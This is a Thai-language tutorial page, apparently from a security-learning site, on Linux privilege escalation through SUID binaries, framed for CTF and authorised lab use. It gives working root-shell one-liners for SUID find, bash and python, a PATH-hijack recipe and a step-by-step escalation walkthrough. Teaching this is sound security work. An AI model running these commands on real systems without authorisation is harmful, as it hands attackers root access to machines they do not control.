คลัง
linux-privesc

SUID Binaries

SUID (Set User ID) เป็น permission bit ที่ทำให้ binary รันด้วยสิทธิ์ของเจ้าของไฟล์ (มัก root) ไม่ใช่ผู้รัน ถ้า SUID binary ทำงานที่ถูก abuse ได้ (เช่นเรียก shell, อ่าน/เขียนไฟล์) ก็ยกระดับเป็น root ได้ บทนี้ลงลึกกลไก SUID, การหา, GTFOBins, เทคนิคแต่ละแบบ, และ custom SUID (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#suid#linux#privesc#gtfobins#setuid#ctf

1. หลักการ SUID

ปกติ process รันด้วยสิทธิ์ของผู้เรียก แต่ถ้า binary ตั้ง SUID bit (แสดงเป็น s ในตำแหน่ง execute ของ owner เช่น -rwsr-xr-x) มันจะรันด้วยสิทธิ์ของเจ้าของไฟล์ — ถ้าเจ้าของคือ root, binary นั้นรันเป็น root แม้ user ธรรมดาเรียก จุดประสงค์เดิมคือให้ทำงานที่ต้องสิทธิ์สูง (เช่น passwd แก้ /etc/shadow) แต่ถ้า SUID binary มีฟังก์ชันที่ abuse ได้ ก็ยกระดับเป็น root

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หา SUID binaries

find SUIDLinux
# หา SUID binaries ทั้งหมด
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# แสดงรายละเอียด (ดู owner)
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# โฟกัสที่ไม่ใช่ binary มาตรฐาน (เทียบกับ list ปกติ)
# binary ปกติ: ping, su, sudo, passwd, mount, umount...
# อะไรที่แปลก/ไม่คุ้น = น่าสนใจ
หา SUID แล้วเทียบกับ list มาตรฐาน — binary แปลกๆ หรือ custom = เป้าหมาย; เช็คใน GTFOBins

3. GTFOBins — คู่มือ abuse

GTFOBins (gtfobins.github.io) เป็นฐานข้อมูลวิธี abuse binary ทั่วไปเพื่อ privesc — ค้นชื่อ binary ที่เจอ ถ้ามีหน้า 'SUID' แสดงว่า abuse ได้ พร้อมคำสั่งสำเร็จรูป

ตัวอย่าง abuse SUID ยอดนิยมLinux
# find (SUID) → รัน command เป็น root
./find . -exec /bin/sh -p \; -quit
# -p สำคัญ! รักษา privilege (ไม่ drop เป็น user)

# bash (SUID)
./bash -p                        # ได้ shell เป็น root

# cp (SUID) → เขียนทับไฟล์สำคัญ (เช่น /etc/passwd)
# vim/nano (SUID) → รัน shell จากใน editor
# less/more (SUID) → !/bin/sh
# python (SUID)
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# awk/perl/env/nmap... แต่ละตัวมีวิธีใน GTFOBins
key: ใช้ -p กับ shell เพื่อรักษา euid=0; ค้น GTFOBins ตามชื่อ binary ที่เจอเสมอ

4. Custom SUID binary

โจทย์ CTF มักมี custom SUID binary ที่เขียนเอง — ต้องวิเคราะห์ว่ามันทำอะไรแล้วหาช่องโหว่:

  • เรียก command โดยไม่ใส่ full path: เช่นเรียก cat แทน /bin/cat → PATH Hijacking (ดูหัวข้อ)
  • เรียก system()/popen() กับ input ที่ควบคุมได้: command injection
  • อ่าน/เขียนไฟล์เป็น root: อ่าน /etc/shadow, เขียน /etc/passwd
  • buffer overflow: ถ้า binary มีช่องโหว่ → exploit เป็น root (ดูหมวด Pwn)
  • วิเคราะห์: strings, ltrace, หรือ decompile (Ghidra) ดูว่าเรียกอะไร
วิเคราะห์ custom SUIDLinux
# ดูว่าเรียกอะไร
strings ./custom_suid
ltrace ./custom_suid             # เห็น system/exec call + argument
# ถ้าเรียก command ไม่ใส่ path → PATH hijack:
#   export PATH=/tmp:$PATH; echo '/bin/sh' > /tmp/cmdname; chmod +x /tmp/cmdname
# ถ้ามี input → ลอง command injection / overflow
ltrace เห็นว่า custom binary เรียก command อะไร → ถ้าไม่ใส่ full path = PATH hijack ได้

5. Quick Reference

  • SUID = รันด้วยสิทธิ์เจ้าของไฟล์ (มัก root); แสดงเป็น 's'
  • หา: find / -perm -4000 -type f 2>/dev/null
  • abuse: ค้น GTFOBins ตามชื่อ binary (section SUID)
  • shell: ./find . -exec /bin/sh -p \; / ./bash -p (-p รักษา privilege)
  • custom SUID: strings/ltrace → PATH hijack / injection / overflow
  • เรียก command ไม่ใส่ full path → PATH Hijacking

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ shell แรก ลอง sudo -l แล้วไม่มีทาง มีแค่ Kali เปล่าๆ ลองเช็ค SUID เป็นด่านต่อไปเพราะเป็นช่องทางที่พบบ่อยและง่ายสุดถ้าตรงกับ GTFOBins ทำตามนี้ทีละขั้น

  1. 1พิมพ์ find / -perm -4000 -type f 2>/dev/null รอสแกนทั้งระบบสักครู่
  2. 2ไล่ดู list ที่ได้ เทียบกับ binary มาตรฐาน (ping, su, sudo, passwd, mount, umount) — ตัวไหนไม่คุ้นให้จดไว้
  3. 3เปิดเบราว์เซอร์ไปที่ gtfobins.github.io พิมพ์ชื่อ binary ที่ไม่คุ้น (หรือแม้แต่ตัวคุ้นๆ ก็เช็คได้) ดูว่ามี section SUID ไหม
  4. 4ถ้ามี ให้ copy one-liner จาก GTFOBins มารันตรงๆ เช่น ./find . -exec /bin/sh -p \; -quit
  5. 5สำคัญ: ต้องมี -p ต่อท้าย shell เสมอ เพื่อรักษา privilege ไม่ให้ drop กลับเป็น user เดิม
  6. 6พิมพ์ id ทันทีหลังได้ shell ใหม่ ต้องเห็น uid=0(root)
  7. 7ถ้าไม่มีใน GTFOBins (เป็น custom binary) ให้พิมพ์ strings ./custom_suid ดูว่ามันเรียกอะไร
  8. 8พิมพ์ ltrace ./custom_suid ดู system()/exec() call พร้อม argument จริง
  9. 9ถ้าเรียก command แบบไม่ใส่ full path ให้ไปทำ PATH hijack ต่อ ถ้ามี input ที่ควบคุมได้ให้ลอง command injection
เจอ SUID แล้วทำอะไรต่อ / ไม่เจอไปทางไหน
เป็น binary มาตรฐานที่มีใน GTFOBins ไหม?
✅ ใช่ และมีใน GTFOBins→ copy one-liner จาก GTFOBins มารัน
❌ ไม่รู้จัก/เป็น custom binary→ วิเคราะห์เองด้วย strings/ltrace/Ghidra
รัน one-liner จาก GTFOBins (เช่น ./find . -exec /bin/sh -p \;)
id → uid=0(root)?
✅ ใช่→ จบงาน ได้ root
❌ ไม่ใช่ (ลืม -p หรือ binary ไม่ตรง)→ เช็คว่าใส่ -p รักษา privilege หรือยัง
strings ./custom_suid ; ltrace ./custom_suid
ดูว่าเรียก command/library อะไร
มี input ที่ควบคุมได้ (command injection/overflow) ไหม?
✅ มี→ ลอง injection หรือ overflow (ดูหมวด Pwn)
❌ ไม่มีช่องทางเลย→ ไม่มี SUID ที่ใช้ได้ ไปเช็ค SGID/capability แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา SUID binary ทั้งหมดfind--
เทียบวิธี abuse ตาม binary มาตรฐาน--gtfobins.github.io
วิเคราะห์ custom SUID binarystrings, ltrace--
decompile ถ้าซับซ้อน-ghidradogbolt.org
enumeration เสริม-linpeas-
หา exploit เพิ่มเติมsearchsploit-exploit-db.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: SGID (permission bit คล้ายกันที่ยังไม่เช็ค) · Capabilities (getcap -r / อีกช่องทางที่ให้ root ได้) · PATH Hijacking (ถ้า custom SUID เรียก command แบบ relative) · Cron Jobs (ลองมุมอื่นที่ root รันเป็นระยะ) · LinPEAS (สแกนซ้ำให้ครบทุกด้าน)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้